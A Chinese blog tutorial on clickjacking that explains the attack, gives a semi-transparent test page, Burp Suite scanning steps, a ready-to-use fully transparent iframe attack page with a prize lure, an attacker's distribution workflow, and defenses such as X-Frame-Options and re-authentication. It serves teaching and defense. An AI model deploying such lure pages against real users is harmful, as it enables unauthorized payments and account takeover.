【Web安全】点击劫持:小白也能看懂的漏洞原理与防护

1. 什么是点击劫持

点击劫持是一种超隐蔽的Web漏洞,简单说就是攻击者把你的网站“藏”在自己的恶意页面里,让你在不知情的情况下,点了攻击者想让你点的按钮/链接

打个比方:你看到的是攻击者页面上的“领取红包”按钮,实际这个按钮下面藏着你已登录的购物网站的“确认付款”按钮,你一点“领红包”,其实是点了“付款”,钱就被转走了。

整个过程你完全没察觉,因为攻击者的页面会把你的网站变成透明的,只露出他想让你点的位置,本质就是**“偷你的点击操作”**。

2. 实际危害

只要网站存在点击劫持漏洞,且你登录了该网站,攻击者就能诱导你点一下他的页面,轻松完成恶意操作,常见危害有:

  • 社交平台:偷偷帮你发广告、关注陌生账号、转发恶意链接;
  • 购物/支付网站:擅自下单、确认付款、修改收货地址;
  • 账号管理:偷偷修改你的密码、绑定攻击者的手机号、注销账号;
  • 后台管理:如果是管理员登录,可能被删数据、添加恶意账号、泄露后台信息。

核心危害就一点:用你的手,做攻击者想做的事,全程你毫无察觉

3. 测试验证

验证点击劫持漏洞有两种方法,一种是纯手动零工具;另一种是用BurpSuite Pro工具主动扫描。

3.1 手动测试

不用复杂工具,只用电脑自带的记事本和浏览器,3步就能测出结果,核心就是看网站能不能被别人的页面嵌套成透明的

测试前提

确保你已登录目标网站(比如测某购物网站,先登自己的账号,打开“我的订单”或“付款”页面),并记住要测试的按钮位置(比如“确认付款”“修改密码”)。

通用测试地址(无敏感信息,适合快速验证):https://www.baidu.com可直接用于漏洞检测的地址(覆盖不同场景,复制到测试代码中即可快速验证):

第一步:新建一个html文件,复制以下代码

<!DOCTYPE html>
<html>
<head>
    <title>点击劫持测试</title>
    <style>
        /* 把目标网站嵌进来,设为透明 */
        #target {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0.1; /* 透明度0.1,能看到一点,方便测试;攻击时设为0就是完全透明 */
            z-index: 2;
        }
        /* 攻击者的诱导按钮,盖住目标网站的关键按钮 */
        #fake {
            position: absolute;
            top: 200px; /* 调整位置,对准目标网站的关键按钮 */
            left: 100px; /* 调整位置,对准目标网站的关键按钮 */
            z-index: 1;
            font-size: 20px;
            background: red;
            color: white;
            padding: 10px 20px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <!-- 攻击者的诱导按钮:比如“领取红包”“点击抽奖” -->
    <div id="fake">点击领取100元红包</div>
    <!-- 嵌套目标网站,把src换成你要测试的网站地址 -->
    <iframe id="target" src="https://www.baidu.com"></iframe>
</body>
</html>

第二步:修改代码里的关键位置

  1. <iframe>里的src值,换成上面的快速检测地址,或你要测试的目标网站页面地址;
  2. 调整#fake里的topleft数值,让红色的“点击领取100元红包”按钮,对准目标网站的关键按钮(比如百度的“搜索”按钮)。

第三步:保存文件并打开,测试结果判断

双击用浏览器打开,看2种情况:

  • 情况1:网站有漏洞(危险):页面能正常显示透明的目标网站+红色的诱导按钮,诱导按钮能精准对准目标网站的关键按钮,点击诱导按钮,就会触发目标网站按钮的操作→存在点击劫持漏洞。
  • 情况2:网站无漏洞(安全):打开后要么看不到目标网站的内容,要么iframe区域显示空白/报错,诱导按钮点了也没反应→网站做了防护,没有漏洞。

3.2 工具测试:BurpSuite主动扫描,一键识别漏洞

如果觉得手动测试麻烦,或者需要专业的漏洞检测报告,用BurpSuite 专业版工具的主动扫描功能,可以对指定请求一键检测点击劫持漏洞,操作简单,结果精准,具体步骤如下:

前提准备

  1. 打开BurpSuite,配置好浏览器代理(让浏览器的请求走BurpSuite);
  2. 用浏览器访问目标网站的敏感页面(或上面的快速检测地址),让该页面的请求被BurpSuite抓取到。

扫描步骤

  1. 在BurpSuite的Proxy→History(代理→历史记录)里,找到刚才抓取的目标网站敏感页面的请求,右键选中该请求

  2. 在弹出的菜单中,选择Scan(扫描),进入扫描配置页面;
    在这里插入图片描述

  3. 扫描配置中,选择Crawl and audit(爬取并审计)模式,扫描强度选择Lightweight(轻量),该模式速度快,能精准识别常见的Web漏洞;
    在这里插入图片描述
    在这里插入图片描述
    可以看到包括点击劫持检测。
    在这里插入图片描述

  4. 点击scan(启动扫描),等待扫描完成(轻量模式一般几秒到十几秒)。

结果查看

扫描完成后,在BurpSuite的Target中,查看扫描报告:

  • 如果报告中出现clickjacking(点击劫持)相关的漏洞提示,且风险等级为中/高,说明目标网站存在点击劫持漏洞;
  • 如果无相关漏洞提示,说明目标网站做了防护,暂无该漏洞。

优势:相比手动测试,BurpSuite扫描能精准检测出漏洞,还能生成详细的漏洞报告,同时可检测其他Web漏洞,适合批量测试和专业安全检测。

4. 漏洞利用:手把手教你做一个攻击测试页面

上面的手动测试页面是半透明的,攻击者实际用的攻击页面会把目标网站完全透明,让受害者彻底看不到背后的操作,只需要改一个参数,就能做出逼真的攻击测试页面,步骤如下:

攻击版页面代码(复制即用)

<!DOCTYPE html>
<html>
<head>
    <title>点击劫持攻击测试</title>
    <style>
        #target {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0; /* 关键:设为0,完全透明,受害者看不到 */
            z-index: 2;
        }
        #fake {
            position: absolute;
            top: 200px; /* 对准目标网站关键按钮的位置 */
            left: 100px; /* 对准目标网站关键按钮的位置 */
            z-index: 1;
            font-size: 24px;
            background: #0088ff;
            color: white;
            padding: 15px 30px;
            border: none;
            cursor: pointer;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <!-- 更逼真的诱导按钮,比如抽奖、领福利 -->
    <button id="fake">点击抽iPhone 16</button>
    <!-- 嵌套已登录的目标网站敏感页面,可替换成上面的快速检测地址 -->
    <iframe id="target" src="https://www.example.com/profile"></iframe>
</body>
</html>

利用流程(攻击者的操作)

  1. 攻击者把这个页面放到自己的服务器,生成一个链接;
  2. 用短信、朋友圈、私信等方式,诱导受害者点击这个“抽手机”的链接;
  3. 受害者此时已登录目标网站(比如刚逛完购物网站,没退出),打开链接后,看到只有一个“抽手机”按钮,随手一点;
  4. 实际点的是背后完全透明的“修改密码”/“确认付款”按钮,完成恶意操作,受害者直到发现账号异常才会察觉。

5. 防御方法

点击劫持的防御非常简单,不用复杂配置,后端加一行代码/前端做个简单设置就能搞定,推荐2种方法搭配使用,防护效果拉满,小白也能操作。

5.1 后端加核心防护头(推荐首选)

在网站的所有页面添加X-Frame-Options响应头,这是浏览器自带的防护机制,直接禁止其他网站嵌套你的页面,有3个值可选,按需配置:

  1. DENY:禁止任何网站嵌套当前网站(最严格,推荐大部分网站使用);
  2. SAMEORIGIN:只允许当前网站自己的页面嵌套(适合有内部嵌套需求的网站);
  3. ALLOW-FROM https://xxx.com:只允许指定的合法域名嵌套(适合合作网站的定向嵌套)。

简单配置示例

  • PHP:在页面开头加 header('X-Frame-Options: DENY');
  • Java(Spring):response.setHeader("X-Frame-Options", "DENY");
  • Nginx:在配置文件里加 add_header X-Frame-Options DENY;

5.2 敏感操作加二次验证(兜底防护)

对于网站的核心敏感操作(比如付款、改密码、绑手机号、后台删数据),哪怕做了上面的防护,也建议加二次验证

  • 点击“确认付款”后,要求输入支付密码/短信验证码;
  • 点击“修改密码”后,要求先输入原密码;
  • 管理员做后台操作时,要求输入验证码/扫码验证。

就算前面的防护被绕过,二次验证也能成为最后一道防线,彻底避免恶意操作。

6. 核心总结

  1. 点击劫持的本质是偷点击,攻击者把你的网站藏在恶意页面后,诱导你点关键按钮,全程无感知,且针对已登录用户的危害最大;
  2. 测试漏洞有两种方法:手动测试(记事本+浏览器,零工具)适合新手,可直接用文中提供的快速检测地址,无需找目标页面;BurpSuite工具测试(Scan-Crawl and audit-Lightweight模式)适合专业场景,能一键精准识别clickjacking漏洞;
  3. 防御的核心是禁止别人嵌套你的网站:后端加X-Frame-Options头是首选,再配合敏感操作二次验证,防护无死角;
  4. 重点防护敏感页面:付款、账号管理、后台操作页面是攻击者的主要目标,必须做最高级别的防护,同时建议定期用BurpSuite做漏洞扫描。

本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

介一笔记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值